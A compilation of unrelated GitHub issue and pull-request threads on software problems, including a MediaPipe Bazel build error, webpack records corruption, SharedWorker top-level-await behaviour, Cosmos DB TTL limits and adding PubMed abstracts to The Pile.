WARNING: /home/mediapipe/mediapipe_api/java/com/github/homuler/mediapipe/BUILD:4:14: in srcs attribute of android_library rule //mediapipe_api/java/com/github/homuler/mediapipe:mediapipe_android_android_lib: please do not import '@com_google_mediapipe//mediapipe/java/com/google/mediapipe/glutil:ExternalTextureRenderer.java' directly. You should either move the file to this package or depend on an appropriate rule there. Since this rule was created by the macro 'mediapipe_aar', the error might have been caused by the macro implementation
WARNING: /home/mediapipe/mediapipe_api/java/com/github/homuler/mediapipe/BUILD:4:14: in srcs attribute of android_library rule //mediapipe_api/java/com/github/homuler/mediapipe:mediapipe_android_android_lib: please do not import '@com_google_mediapipe//mediapipe/java/com/google/mediapipe/glutil:GlThread.java' directly. You should either move the file to this package or depend on an appropriate rule there. Since this rule was created by the macro 'mediapipe_aar', the error might have been caused by the macro implementation
WARNING: /home/mediapipe/mediapipe_api/java/com/github/homuler/mediapipe/BUILD:4:14: in srcs attribute of android_library rule //mediapipe_api/java/com/github/homuler/mediapipe:mediapipe_android_android_lib: please do not import '@com_google_mediapipe//mediapipe/java/com/google/mediapipe/glutil:ShaderUtil.java' directly. You should either move the file to this package or depend on an appropriate rule there. Since this rule was created by the macro 'mediapipe_aar', the error might have been caused by the macro implementation
WARNING: /home/mediapipe/mediapipe_api/java/com/github/homuler/mediapipe/BUILD:4:14: in srcs attribute of android_library rule //mediapipe_api/java/com/github/homuler/mediapipe:mediapipe_android_android_lib: please do not import '@com_google_mediapipe//mediapipe/java/com/google/mediapipe/glutil:TextureRenderer.java' directly. You should either move the file to this package or depend on an appropriate rule there. Since this rule was created by the macro 'mediapipe_aar', the error might have been caused by the macro implementation
INFO: Analyzed target //mediapipe_api/java/com/github/homuler/mediapipe:mediapipe_android (0 packages loaded, 0 targets configured).
INFO: Found 1 target...
ERROR: /home/mediapipe/.cache/bazel/bazel_mediapipe/6c11c387a04fa8f17c87a5c6db6ee555/external/com_google_absl/absl/synchronization/BUILD.bazel:30:11: Compiling absl/synchronization/internal/graphcycles.cc [for host] failed: (Exit 1): process-wrapper failed: error executing command
(cd /home/mediapipe/.cache/bazel/bazel_mediapipe/6c11c387a04fa8f17c87a5c6db6ee555/sandbox/processwrapper-sandbox/983/execroot/mediapipe_api &&
exec env -
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
PWD=/proc/self/cwd
TMPDIR=/tmp
/home/mediapipe/.cache/bazel/bazel_mediapipe/install/7d2b3f5c6b30e908ff6ea9e8458da328/process-wrapper '--timeout=0' '--kill_delay=15' /usr/sbin/gcc -U_FORTIFY_SOURCE -fstack-protector -Wall -Wunused-but-set-parameter -Wno-free-nonheap-object -fno-omit-frame-pointer -g0 -O2 '-D_FORTIFY_SOURCE=1' -DNDEBUG -ffunction-sections -fdata-sections '-std=c++0x' -MD -MF bazel-out/host/bin/external/com_google_absl/absl/synchronization/objs/graphcycles_internal/graphcycles.d '-frandom-seed=bazel-out/host/bin/external/com_google_absl/absl/synchronization/objs/graphcycles_internal/graphcycles.o' -iquote external/com_google_absl -iquote bazel-out/host/bin/external/com_google_absl -g0 -g0 '-std=c++17' -Wall -Wextra -Wcast-qual -Wconversion-null -Wmissing-declarations -Woverlength-strings -Wpointer-arith -Wundef -Wunused-local-typedefs -Wunused-result -Wvarargs -Wvla -Wwrite-strings -Wno-missing-field-initializers -Wno-sign-compare -DNOMINMAX -fno-canonical-system-headers -Wno-builtin-macro-redefined '-D__DATE="redacted"' '-D__TIMESTAMP="redacted"' '-D__TIME="redacted"' -c external/com_google_absl/absl/synchronization/internal/graphcycles.cc -o bazel-out/host/bin/external/com_google_absl/absl/synchronization/objs/graphcycles_internal/graphcycles.o) process-wrapper failed: error executing command
(cd /home/mediapipe/.cache/bazel/bazel_mediapipe/6c11c387a04fa8f17c87a5c6db6ee555/sandbox/processwrapper-sandbox/983/execroot/mediapipe_api &&
exec env -
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
PWD=/proc/self/cwd
TMPDIR=/tmp
/home/mediapipe/.cache/bazel/bazel_mediapipe/install/7d2b3f5c6b30e908ff6ea9e8458da328/process-wrapper '--timeout=0' '--kill_delay=15' /usr/sbin/gcc -U_FORTIFY_SOURCE -fstack-protector -Wall -Wunused-but-set-parameter -Wno-free-nonheap-object -fno-omit-frame-pointer -g0 -O2 '-D_FORTIFY_SOURCE=1' -DNDEBUG -ffunction-sections -fdata-sections '-std=c++0x' -MD -MF bazel-out/host/bin/external/com_google_absl/absl/synchronization/objs/graphcycles_internal/graphcycles.d '-frandom-seed=bazel-out/host/bin/external/com_google_absl/absl/synchronization/objs/graphcycles_internal/graphcycles.o' -iquote external/com_google_absl -iquote bazel-out/host/bin/external/com_google_absl -g0 -g0 '-std=c++17' -Wall -Wextra -Wcast-qual -Wconversion-null -Wmissing-declarations -Woverlength-strings -Wpointer-arith -Wundef -Wunused-local-typedefs -Wunused-result -Wvarargs -Wvla -Wwrite-strings -Wno-missing-field-initializers -Wno-sign-compare -DNOMINMAX -fno-canonical-system-headers -Wno-builtin-macro-redefined '-D__DATE="redacted"' '-D__TIMESTAMP="redacted"' '-D__TIME="redacted"' -c external/com_google_absl/absl/synchronization/internal/graphcycles.cc -o bazel-out/host/bin/external/com_google_absl/absl/synchronization/_objs/graphcycles_internal/graphcycles.o)
external/com_google_absl/absl/synchronization/internal/graphcycles.cc: In member function 'void absl::lts_2020_09_23::synchronization_internal::GraphCycles::RemoveNode(void*)':
external/com_google_absl/absl/synchronization/internal/graphcycles.cc:451:26: error: 'numeric_limits' is not a member of 'std'
451 |   if (x->version == std::numeric_limits<uint32_t>::max()) {
|                          ^~~~~~~~~~~~~~
external/com_google_absl/absl/synchronization/internal/graphcycles.cc:451:49: error: expected primary-expression before '>' token
451 |   if (x->version == std::numeric_limits<uint32_t>::max()) {
|                                                 ^
external/com_google_absl/absl/synchronization/internal/graphcycles.cc:451:52: error: '::max' has not been declared; did you mean 'std::max'?
451 |   if (x->version == std::numeric_limits<uint32_t>::max()) {
|                                                    ^~~
|                                                    std::max
In file included from /usr/lib/gcc/x86_64-pc-linux-gnu/11.1.0/../../../../include/c++/11.1.0/algorithm:62,
from external/com_google_absl/absl/synchronization/internal/graphcycles.cc:38:
/usr/lib/gcc/x86_64-pc-linux-gnu/11.1.0/../../../../include/c++/11.1.0/bits/stl_algo.h:3467:5: note: 'std::max' declared here
3467 |     max(initializer_list<_Tp> __l, _Compare __comp)
|     ^~~
Target //mediapipe_api/java/com/github/homuler/mediapipe:mediapipe_android failed to build
INFO: Elapsed time: 25.613s, Critical Path: 25.29s
INFO: 265 processes: 131 internal, 134 processwrapper-sandbox.
FAILED: Build did NOT complete successfully
Additional context
As i know "Download from http://mirror.tensorflow.org/github.com/bazelbuild/rules_closure/archive/cf1e44edb908e9616030cc83d085989b8e6cd6df.tar.gz failed: class com.google.devtools.build.lib.bazel.repository.downloader.UnrecoverableHttpException GET returned 404 Not Found" its not the problem because the other mirror its work :https://github.com/bazelbuild/rules_closure/archive/cf1e44edb908e9616030cc83d085989b8e6cd6df.tar.gz is working fine

https://github.com/homuler/MediaPipeUnityPlugin/issues/172#issuecomment-843222262
Will you try Ubuntu container, please?

#172 (comment)
Will you try Ubuntu container, please?

Tks bro its work perfect i will close this, tks you!


feat: add Turkish translations

Description
There were some difficult strings to translate but I'll see how this goes and will make changes accordingly.
Also updated the index.ts file.

[x] I have read and understand the CONTRIBUTING.md document in this repository

Type of change

[x] New feature (non-breaking change which adds functionality)

Checklist:

[ ] I have added tests that prove my fix is effective or that my feature works
[x] Existing test suite passes locally with my changes
[ ] I have made corresponding changes to the documentation

@torunai, This is great, thank you so much!


typo fixes, clarifications, examples and additional details in vault/wikidata.create_item.md

Accepting @Daniel-Mietchen changes to the tuto file


Fixes for cheetah v5.4.0

This request incorporates changes to handle headers from Cheetah v5.4.0. Also better error recovery and messages when new header styles that are not understood are encountered.
This also handles the type of variability in the time gaps between records in a contiguous section which can arise when the sampling rate is quite low, like 1017 Hz.
This resolves issue #906
This will not pass tests until PR # 32 in ephy_testing_data is incorporated at gin-g.node.

Hello @PeterNSteinmetz! Thanks for opening this PR. We checked the lines you've touched for PEP 8 issues, and found:

In the file neo/rawio/neuralynxrawio/nlxheader.py:

Line 227:83: W504 line break after binary operator
Line 238:88: W504 line break after binary operator

Two W204 PEP8 warnings to be ignored.

Note that PR # 32 in ephy_testing_data at gin-g.node was replaced by # 35

Looks like the circleci tests are failing because the test data for Cheetah 5.4.0 is not yet in the gin repository.

This is strange the file is in gin:
https://gin.g-node.org/NeuralEnsemble/ephy_testing_data/src/master/neuralynx/Cheetah_v5.4.0
Note that the old PR you did on gin is not deletable.
And have been replace by another one by Julia.

Maybe the CircleCI tests need to be restarted again? That looks like the correct file. It is truncated and was committed simply using git, no annexing needed.

Yes, I restarted the test.

These changes seems to pass the tests locally, so I assume it has to do with some problem with integrating the files in gin and CircleCI. Looks like it is now hanging on a timeout somehow?

Looks like this is now passing. Will likely need the squash commit as well. It is becoming staler as time goes by and will now need #968 to handle the later changes in #949.

I don't think this one should be affected by #949 as it does not interact with the baserawio specifications. Now I have to fix it in #968  if there's still incompatiblities that I didn't consider yet.


Release v<IP_ADDRESS> in official Docker image

Hello and thank you for the awesome work on ODFE,
the new security features seem to be missing from the official Docker image.
When can we expect it to be added?

Moving to build as creating Docker image is not managed by the security plugin


Add configuration socket_option_no_delay

Change log:

Add configuration socket_option_no_delay

The following is monitor of ClickHouse which acts as a client of RaftKeeper.

But it will slightly lead performance degradation in benchmark (100% create request).


Have you got a Home Assistant custom component for this code?

Hi Snikch
I am a user of Home Assistant, and I just got 2 x Escea heaters (DS1400 and DF700) installed in my house. I can control them with the Escea app, but I want to integrate them into HA.
I have no idea how to code a custom component. I have been through the documentation, and I think it is just a bridge too far to cross for me (I am an IT guy, but I work on the infrastructure side rather than the coding side).
Have you ever thought of creating a custom component for this in HA?

HA integration would be fantastic. I second this query. Cheers

HA custom component is available here: https://github.com/snikch/climate.escea


Improvements

Fix standard formatter
misc refactoring

Hi.
Replaced the dict in standard_formatter with regular variables.

also removed unused datetime import


Remove iterdir from PnR setup

Instead of copying all files in a given directory to setup PnR, we determine which files we need and just copy those.

@parijatm You might be doing something similar but I wanted to traverse the .verilog.json to determine what collateral we are expecting

@parijatm You might be doing something similar but I wanted to traverse the .verilog.json to determine what collateral we are expecting

I haven't gotten that far Steve. This is great.


Unexpected token in recordsPath (file corruption)

Webpack: 1.13.1 on Linux
This is an initial bug report and I will provide additional information as necessary.
Problem: Webpack sometimes writes invalid JSON in the records file.
Here's a snippet showing the section where corruption happens (}DOMContainerInfo.js):
  "nextFreeChunkId": 5,
  "chunks": {
    "byName": {
      "RenderServer": 0,
      "React": 1,
      "ReactRouter": 2,
      "Application": 3,
      "Axios": 4
    },
    "byBlocks": {}
  }
}DOMContainerInfo.js": 267,
      "../node_modules/react/lib/ReactDOMDebugTool.js": 268,
      "../node_modules/react/lib/ReactDOMEmptyComponent.js": 269,

This doesn't happen every single time. I delete the records file the first time it writes the file, on the second run the file gets larger, the third (or 4th or 5th) run it may become corrupt.
After that point webpack will say:
SyntaxError: Cannot parse records: Unexpected token { in JSON at position 46313
For context, I'm running a multi-compile of two compilations targeting web and node.
My gut feel tells me a race condition due to the multi-compile writing to the same file?
Edit: Hmm ... or I guess recordsPath MUST be different for each config object?
Edit: I have confirmed with unique recordsPath values for each config object corruption doesn't happen.
The client records file remains constant in size between different runs (25K) but the server records file gets larger on each run (115K increases by 5-10K every run). Not sure if that's normal/expected or if it's meant to remain constant.

A standalone example would help to debug this I think.

Before I attempt to produce a standalone example I would like some clarification about the points below:

When an array of objects is given to Webpack, must recordsPath in each one be a unique file? I assume yes.

Is the size of the records file expected to remain the same between compilations (assuming nothing else has changed) or is it expected to grow in size?

When an array of objects is given to Webpack, must recordsPath in each one be a unique file? I assume yes.

yes.

Is the size of the records file expected to remain the same between compilations (assuming nothing else has changed) or is it expected to grow in size?

It should stay constant if nothing has changed. It can grow if you add and remove modules.

I also ran into this. In my case, I had one config for site administrators and one ffor everyone else. I had the admin config extended from the user config and both used directly by different node servers, not an array form.
I don't completely understand if this is a race condition or what, but I get that we're doing something unexpected so unexpected things can and will happen.
It would still be nice to have this in the docs.


Asynchronous module loading via top-level await breaks SharedWorkers "connect" event

Chrome has support for a feature called SharedWorkers. This allows you to run a process in the background shared between multiple tabs with the same origin. It's essentially a small extension over a webworker. The key difference between the two is that SharedWorkers have a "connect" event which fires when a new tab creates a reference to the shared worker.
Unfortunately, this event ("connect") is sent after the SharedWorker's code is evaluated but before the async function's promise resolves. Fixing this upstream in Chrome is the right solution... but I suspect not really an option in the mid-term.
I've been trying to think of what a good workaround would be... Possibly in a SharedWorker the "connect" event could be intercepted and forwarded on after async evaluation is resolved. I'm not entirely sure.
I am at least sure of this: without a solution, you can't really use SharedWorkers with WASM. (Except through some pretty gnarly hacks.)

Could you provide a minimal reproduce? Let me see what can I do on my side...

Thanks for the offer. I saw the README recommending an approach for other webworkers but I don't see any example/test code in the repo. Do you have something in another repo I should use as a model, or should I just write something based on my own code?

I spent a little time pulling on the thread. I'd hoped removing the top-level-await plugin would make things better but it turns out that the browser runs the async code
However! All is not lost. The less-hacky but still hacky solution I found was to use dynamic imports to load the offending module inside an async method. This could probably be improved further but looks something like this:
https://github.com/automerge/automerge-repo/blob/main/examples/automerge-repo-demo-counter/src/shared-worker.ts
I confirmed the order of operations via log-lines here, though I've removed them now.

I just understand your problem. The top-level statements executes earlier than imported async modules' loading. So your event handler depending on imported async modules won't work.
I don't think it's a issue of my plugin. In the ESM top-level await specifications, the top-level statements is executed after synchronous sub-modules loading but before asynchronous sub-modules loading. Without my plugin in a standard browser environment with TLA support the result will be the same.

Let me see if we're understanding each other:
import("module-which-might-depend-on-wasm")
self.on("connect", () => { console.log("connected") })

This code will behave differently depending on whether some module in its dependency tree loads WASM, but if there is WASM it will fail to log for both cases of native-TLA / vite-plugin-top-level-await.
But if we consider this case:
self.on("connect", () => { console.log("connected") })
await import("module-which-uses-wasm")

I believe you're saying that a browser with TLA support will console.log() successfully, but vite-plugin-top-level-await will not log successfully. (Because it wraps the entire file in one large async function().)

I still don't know what you mean. Could you please attach an example project that my plugin and native TLA have different behavior?
I tested this:
// main.mjs
const sw = new SharedWorker(new URL("./worker.mjs", import.meta.url), { type: "module" });
sw.port.addEventListener("message", e => console.log(e));
sw.port.start();

// worker.mjs
self.addEventListener("connect", e => {
  console.log(e);
  const port = e.ports[0];
  setInterval(() => port.postMessage({ qwq: "qwq" }), 1000);
});

await new Promise(r => setTimeout(r, 10000));
console.log("resolved");

The compiled worker is:
(function () {
    'use strict';

    (async ()=>{
        self.addEventListener("connect", (e)=>{
            console.log(e);
            const port = e.ports[0];
            setInterval(()=>port.postMessage({
                    qwq: "qwq"
                }), 1000);
        });
        await new Promise((r)=>setTimeout(r, 10000));
        console.log("resolved");
    })();

})();

Its behavior is expected: "connect" event listener is attached immediately and message event is printed, before the long await resolves. 10 seconds after then, the long await resolves and it prints resolved.


The file  "SparkSQLOnHBase_v2.2.docx"  can not  open

I can  not open the file "SparkSQLOnHBase_v2.2.docx".
The office tell me there is error in the content

What is the office version you used? I think it might be about office compatibility.

office 2007  I think it's the  problem with office compatibility


[MM-52380] Fix unhandled rejection when clearing app cache

Summary
There's a case for some reason when we update to a new version that the application will crash when trying to ensure we update the browser cache for the main window. We force a reload on the main window, which fails saying that the object is destroyed. It's possible that this is just a check to make sure the page is reloaded afterwards, but it might be doing it itself.
I've done 2 things to mitigate any issues:

Move the app cache call down a bit to hopefully make sure the window exists
Add a catch to ensure the crash doesn't happen (we just need to log it if the object is already reloading)

Ticket Link
https://mattermost.atlassian.net/browse/MM-52380
NONE

/update-branch


Update unxip binary to v2.1

Close #370
The new unxip binary is download by https://github.com/saagarjha/unxip/releases/download/v2.1/unxip
# The original 1.0.3 md5 value
MD5 (./unxip) = 60c4993d3098b63211bfaaeecf56fd0b
# new 2.1 md5 value
MD5 (./unxip) = bc25c7c046568ecd0a873180f9843e52

cc @MattKiazyk

Thanks @Kyle-Ye


Update lavalink urls

The current jar urls have some issues on using youtube search, it always returns No Matches Found. Now on this issue, the issue is confirmed to be a bug. The issue is fixed on the dev version but the script can't get it right now, so i did another option. Just use another lavalink jar, i used the lavalink jar by Cog-Creators/Lavalink-Jars and their latest version seems to be working well in my experience.

I tried it again and yes, it's working fine

Hello,
Instead of switching the default repo to a third party I have opted to improve the fetch release logic and add several config vars for customizations.
You may set PRERELEASES to true to download the patched jar from the official repo or you may set GITHUB_REPO to Cog-Creators/Lavalink-Jars to use their version.
If this solves your issue please close the PR, otherwise let me know.

Config Var
Description
Default

PASS
The password you will use to authenticate http requests.  This will allow the project to visit itself and prevent it from sleeping.
blank

PRERELEASES
Whether to download lavalink prereleases.
false

GITHUB_REPO
The github repo to fetch releases from.
freyacodes/Lavalink

JAVA_TOOL_OPTIONS
This sets the ram to max. Don't edit this variable unless you know what you're doing.
-Xmx400m -Xms400m -XX:MaxPermSize=48m


Is this applicable to Mongo3.6?

[Enter feedback here]
We keep getting: Deployment failed. Correlation ID: 72701737-9ab6-459f-9fb0-977b08280e6e. The 'expireAfterSeconds' option is currently not supported.
ActivityId: 40fb384b-f4e7-11ea-b463-000d3a1f998f, Microsoft.Azure.Documents.Common/2.11.0, Microsoft.Azure.Documents.Common/2.11.0, Microsoft.Azure.Documents.Common/2.11.0, Microsoft.Azure.Documents.Common/2.11.0
For:
az cosmosdb mongodb collection update --account-name ${{env.AZURE_COSMOS_ENV_ACCOUNT_NAME}}
--database-name ${{env.AZURE_SERVICE_COSMOS_DATABASE_NAME}}
--name ${{env.AZURE_SERVICE_COSMOS_APPS_COLLECTION_NAME}}
--idx "[{"key": {"keys": ["_ts"]},"options": {"expireAfterSeconds": -1}}]"

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: ae1b1c71-a8ca-2bba-202e-f74a9414ced4
Version Independent ID: 65ce6b13-2e3d-39ea-167a-ebdc1864f66b
Content: Configure and manage Time to Live in Azure Cosmos DB
Content Source: articles/cosmos-db/how-to-time-to-live.md
Service: cosmos-db
GitHub Login: @anfeldma-ms
Microsoft Alias: anfeldma

@gabriel-kohen-by Thanks for the feedback. We are investigating the issue and will update you shortly.

@gabriel-kohen-by Thanks for feedback. You are correct in mentioning that this does not work with version 3.6 as of now and we receive the same error as you mentioned. There is already an open issue on the same.
However as a workaround, you can set it up at container level as mentioned in below screenshot:

Also, the same command works with version 3.2 but again that is older version.

@gabriel-kohen-by Please let us know if you have any further queries on the same.

@gabriel-kohen-by We will now proceed to close this thread. If there are further questions regarding this matter, please comment and we will gladly continue the discussion.


Scaphandre pod is always pending in Kubernetes cluster

Bug description
I tried to install Scaphandre on a basic Kubernetes cluster hosted on GKE but the Scaphandre node have been pending for more than 24 hours since installation. The status of the pods shown by kubectl is ContainerCreating
To Reproduce
1 - Setup a basic Kubernetes cluster on GKE
2 - Install Scaphandre, Grafana and Prometheus following the Scahandre on Kubernetes documentation.
Expected behavior
The pods should be running like Grafana and Prometheus related pods
Screenshots
Environment

Kubernetes 1.25
Latest version of Scaphandre (installed it yesterday using helm (0.5.0))

Additional context
Also, no metrics scaph_ is showing up in the metrics explorer on prometheus and Grafana dashboard for Scaphander (loaded using the provided template json) is empty.

Hello, thanks for opening the issue.
I believe that GKE (and other flavor of public cloud provider managed kubernetes) may not provide access to RAPL.
This may explain the lack of metrics.
I believe you need to deploy Scaphandre to a physical/bare metal server (like an on premise kubernetes cluster) that do not restrict access to RAPL.
Maybe this explains why the pod does not starts up well  (although in my opinion, it should start but still report empty of zero metrics).

Thank you, that seems the problem indeed, GCP does not give access to the RAPL metrics. Do you know any other way to get the power consumption in a managed cloud without relying on RAPL ?

Hi,
Sadly there is no tool - yet - that fully allow to monitor/measure power consumption on public cloud platform.
We can estimate (using a model) power usage of instances through.
Best tools I know in this space are

Boavizta cloud-scanner (only supports aws ec2 instances): https://github.com/Boavizta/cloud-scanner
Cloud Carbon footprint : https://github.com/cloud-carbon-footprint/

Hi @bpetit, maybe we could close the issue (or even better move it to a discussion in github ?).

Also to mention https://github.com/Boavizta/Energizta/ that should allow to build accurate models to do so at some point !
Yes @demeringo converting as a discussion is a good idea ! Thanks


Add Iterator#apply Iterator#chainApply to improve iterator call chaining

[x] code is properly formatted (npm run fmt)
[x] tests are added/updated
[x] documentation is updated (npm run doc to regenerate documentation based on comments)
[x] description of changes is added under the Unreleased header in CHANGELOG.md

LGTM. Landed in https://github.com/metarhia/common/commit/a1a2dccf0f950714f7dfc93c899cd8862dc5dce3.


Functions to get EXE Info

Added console functions to get info from an executable like version
info, timestamp and more using a library.

Not sure why this belongs in a game engine and especially since this is Windows only specific. Only Windows executable and dynamic library files can have version info to query while all other platforms do not. This kind of code belongs in a platform specific tool outside of the engine.

Makes sense, I sometimes forget about cross platform. The reason we personally use it is to show version numbers and other information inside the game so the user knows what version they have. But I can understand why it would not belong in the head build.

if that's the inent, may try hooking into https://github.com/GarageGames/Torque3D/blob/development/Templates/Full/source/torqueConfig.h#L37-L43

https://github.com/GarageGames/Torque3D/blob/development/Engine/source/app/version.h

So, should this just be closed since it'd make more sense to access either the torqueConfig or the version.h as per az and dan's suggestions?
I definitely think there should be script hooks, but probably using one of the above methods instead to keep things playing nice regardless of platform ;)

Closing this as we prefer wait a more portable/cross-platform solution.
Thank you very much @MusicMonkey5555 as always for your awesome contributions!


wrong process name in hive-server2 init

init file uses the wrong name for the hiveserver2 executable causing the service start to fail

Thanks for the submission!


PUBMED (biomedical abstracts)

PUBMED comprises of "more than 30 million citations for biomedical literature from MEDLINE, life science journals, and online books". The data are stored on a FTP, publicly accessible and free for public use. The compressed XML is about 28GB, although much of that is boilerplate. Though the metadata is useful for other purposes, it looks like The-Pile™ would benefit the most from the abstract and titles only.
Example

<ArticleTitle>Side chain packing below the fusion peptide strongly modulates triggering of the Hendra virus F protein.</ArticleTitle>

<AbstractText> Triggering of the Hendra virus fusion (F) protein is required to initiate the conformational changes which drive membrane fusion, but the factors which control triggering remain poorly understood. Mutation of a histidine predicted to lie near the fusion peptide to alanine greatly reduced fusion despite wild-type cell surface expression levels, while asparagine substitution resulted in a moderate restoration in fusion levels. Slowed kinetics of six-helix bundle formation, as judged by sensitivity to heptad repeat B-derived peptides, was observed for all H372 mutants. These data suggest that side chain packing beneath the fusion peptide is an important regulator of Hendra virus F triggering. </AbstractText>

Note that this is different from PMC (PubMed Central). That database contains full text of recent articles. While PubMed abstracts are comprehensive, they do not contain the full text. I'll submit a separate request for that dataset.
I've downloaded the entire set last year so I already have a crawler ready to go.

Looking at the source code so far, it's a bit different of a download than what is already in place. For the baseline 2019 PubMed there are about 1000 different files gz zipped. Each file has a separate md5 checksum and the XML itself needs to be parsed to get down to the minimal text required.

Would it be useful if I did all the parsing and simply provided a zipped CSV or XML file?

I agree that we would only/primarily be interested in title + abstract.
Do you know if there are any titles that lack an abstract in the dataset? If so, I think those should be avoided.

Would it be useful if I did all the parsing and simply provided a zipped CSV or XML file?

If you look at datasets.py you'll see what we are currently doing is pointing the code at an online archive of the data and then parsing it. If there is not a stable URL for the data currently, we can arrange to have it posted online. @leogao2 has done most of the processing work, but I believe it would be most convenient to have a tarball of the .txt files.

Yes, there are absolutely abstracts without titles, and titles without abstracts. There is also a (very small) subset of non-English text in there too, fortunately there is a tag within the XML for language.
As for stable URL, it changes every year and there are about a thousand files to parse (and MD5 verify). I'm happy to do so though on a stable URL like I see within datasets.py. I see a line like:
git clone https://github.com/EleutherAI/pile_enron_emails .

Which I could do and include all my parsing code. How does that sound? This way I can do the filtering (no titles, English only, remove metadata) and leave you with something nice.

That sounds perfect! Welcome to EleutherAI 😄

Thanks! I'm working on that now. How much metadata should be included, or should it be as "real-text" as possible? For example, everything in PUBMED is indexed by a pmid #. Should this be removed? I'm guessing the entry should look like:

Side chain packing below the fusion peptide strongly modulates triggering of the Hendra virus F protein. Triggering of the Hendra virus fusion (F) protein is required to initiate the conformational changes which drive membrane fusion, but the factors which control triggering remain poorly understood. Mutation of a histidine predicted to lie near the fusion peptide to alanine greatly reduced fusion despite wild-type cell surface expression levels, while asparagine substitution resulted in a moderate restoration in fusion levels. Slowed kinetics of six-helix bundle formation, as judged by sensitivity to heptad repeat B-derived peptides, was observed for all H372 mutants. These data suggest that side chain packing beneath the fusion peptide is an important regulator of Hendra virus F triggering.

It should all be real text.

Completed and uploaded (link in the Discord). Reproduction code can be found here https://github.com/thoppe/The-Pile-PubMed

Reopening as a reminder that the processing code needs to actually be put on the GitHub :)

How do we want to manage this? The processing code is at https://github.com/thoppe/The-Pile-PubMed, and now includes a direct link to the data.

We can either clone the repo into EleutherAI, or you can transfer ownership to the Org depending on if you want to keep a copy on your GitHub account.
To actually add the data to the Pile you need to add a PubMedDataset class to datasets.py and add the line (WikipediaDataset()    , 1. ),  to the list at line 10 of pile.py.

I'm happy to transfer ownership to the Org. I'll work on a PR to add it in. Should the README be adjusted as well?

Yup! pile.py generates the table and automatically adjusts the percentages for you.

I'll make sure all the right stuff is updated from here on out


Enhancement idea: ability to suspend org/space instead of delete

I'm apprehensive to enable the cf-mgmt pipeline to delete orgs/spaces which don't exist in the config repo. I'm concerned about a minor slip-up by a platform operator, such as renaming an org/space in the foundation without updating the config repo at the same time, as per #58
A compromise could be to suspend any org/space existing outside the config repository, instead of flat-out deleting it.
Do you have any thoughts on the value/effectiveness of something this?

Curious how you would implement a suspend?  Definitely want to add a rename org/space feature in cf-mgmt to accomodate issue #58 The commands all now have a --peek which will not actually delete the org/space but instead indicate what it would have deleted based on what is in the configuration.  This may or may not help as next time pipeline is ran it would make the configuration in source control effective which as you mention above could delete the org/space.  For now you can disable this feature in your configuration for both orgs and space deletion.

To be perfectly honest: I'm not sure. My initial thought was to add functionality to cloudcontroller.go, giving the ability to make an equivalent CLI call of something like:
cf curl /v2/organizations/<org-guid> -X PUT -d '{"status":"suspended"}'.

Then model the remaining implementation off of how delete-orgs works. Somewhat embarrassingly I haven't thought much beyond this 🥇
http://apidocs.cloudfoundry.org/280/organizations/update_an_organization.html


Build #11 failed

https://travis-ci.org/kangwonlee/18pycpp-04/builds/446094747
osx 3.6, 3.7, and nightly failed
3.6 : test_execute_ipynb[10.ipynb] failed
error at : import matplotlib.pyplot as plt
ImportError: cannot import name 'get_backend' from 'matplotlib'

Seems matplotlib 3.0.0 issue
Seems fixed for now
Seems not using different versions of python
Will revise .travis.yml

144a86e83bbc7ca45c03a894b923430c406a14fc fixed the issue


Fixes normal map issues in mipgen.  Also exposes a couple of SurfaceOrientation functions for Web.

Fixes #4551 and #4441

This change unfortunately breaks one of our tests :/

Do you know the nature of the problem?


updates with the new tetragon logo

This updates adds the current Tetragon logo.

@paularah can you resubmit with the DCO sign off? (e.g., git commit -s)

@caniszczyk does this work or I can open a new PR with a signed commit?


BSAPI-20: Adding Shopping Cart Classes/Repositories

Feature Overview
Summary
Adding the Shopping Cart classes and Repository to create a cart functionality.
Rationale

Motivation: The system does not have a function to add items to a cart.
Functionality: This will allow for code to be written to create a cart system for users.
Impact: Primarily affects user-related services and the

Acceptance Criteria

New endpoints: POST /cart
Parameters sent: Cart, Long
Any changes to the database schema.
Performance criteria or constraints.

Additional Information
This will be the skeleton where future code will go in the Cart classes and Repository.

Sorry but not the proper naming, it should describe what you are implementing not what you are going to add to the repo.


End User and Vendor Filtering

Context
In recent communications, it was observed that the recent overhaul of the CNCF Landscape site has removed specific filters that help distinguish between end users and non-end users. This functionality is important for the KubeCon CFP pages, where co-chairs use this information to balance the distribution of end user and vendor speakers. The broken links have been causing 404 errors, and this issue needs attention.
Impact

Links on the KubeCon CFP pages leading to end user and non-end user distinctions are broken.
Submitters need help determining their appropriate group easily, potentially leading to misclassification.
The quality of our content and SEO is affected by these broken links.

Proposal

Reintroduce filters to distinguish between end and non-end users on the CNCF Landscape.

Relevant Links:

The old link for end users (now broken): https://landscape.cncf.io/card-mode?enduser=yes
Example of the current KubeCon CFP page needing update: KubeCon CFP End User Companies Section

Has anyone fix yet?
If not do please elaborate or specify the issue!

Thanks @MiirzaBaig, we've already taken care of this 🙂 (I'd recommend you to take a look at https://clotributor.dev, where you can find lots of issues looking for help).

We've just added a new end user filter @onlydole. It's available from the UI (see screenshot below), so you can easily combine it with other filters to produce the link you need.
The equivalent of
https://landscape.netlify.app/card-mode?enduser=yes
in landscape v2 would be
https://landscape.cncf.io/?group=members&view-mode=card&classify=category&enduser=true
But maybe you want to apply some extra filtering, select a different order or grouping for the cards, etc. So feel free to tweak it as needed 😉

Closed by #647, #646 and cncf/landscape2-sites#90.

Thank you so much, @tegioz!


LICENSE file missing

The README states that this role is Apache licensed, and links to a LICENSE file, but this doesn't appear to exist in the repo. Could this be added?

Hello Andrew, thank you for pointing that out. I added the License file.


⚠ Bofrost.es has degraded performance

In 90016d2, Bofrost.es (https://www.bofrost.es) experienced degraded performance:

HTTP code: 200
Response time: 1398 ms

Resolved: Bofrost.es performance has improved in b771dd7 after 6 minutes.


Cancellation Tokens Not Leveraged in Repo

I haven't seen any cases where cancellation tokens are actually being used. Is this typical for AF extensions, or is there more work to do to make this production-ready?

Investigate how cancellation tokens are used in other AF's

@Charles-Gagnon can you help with some investigation here? If there's work to do pre-preview, we can assign work to whoever has capacity, but just understanding if there's work to do would be super helpful

This isn't strictly true anymore (after https://github.com/Azure/azure-functions-sql-extension/commit/08d8f62afbe89c169c68905c2f39f963630d369e) but still good to investigate

We do not need to use the cancellation token in our upsert method since we are wrapping the upsert in a SqlTransaction. This will prevent any partial data from being left in the table.


Low-Pass Filter and Wave Form Selection Implementation
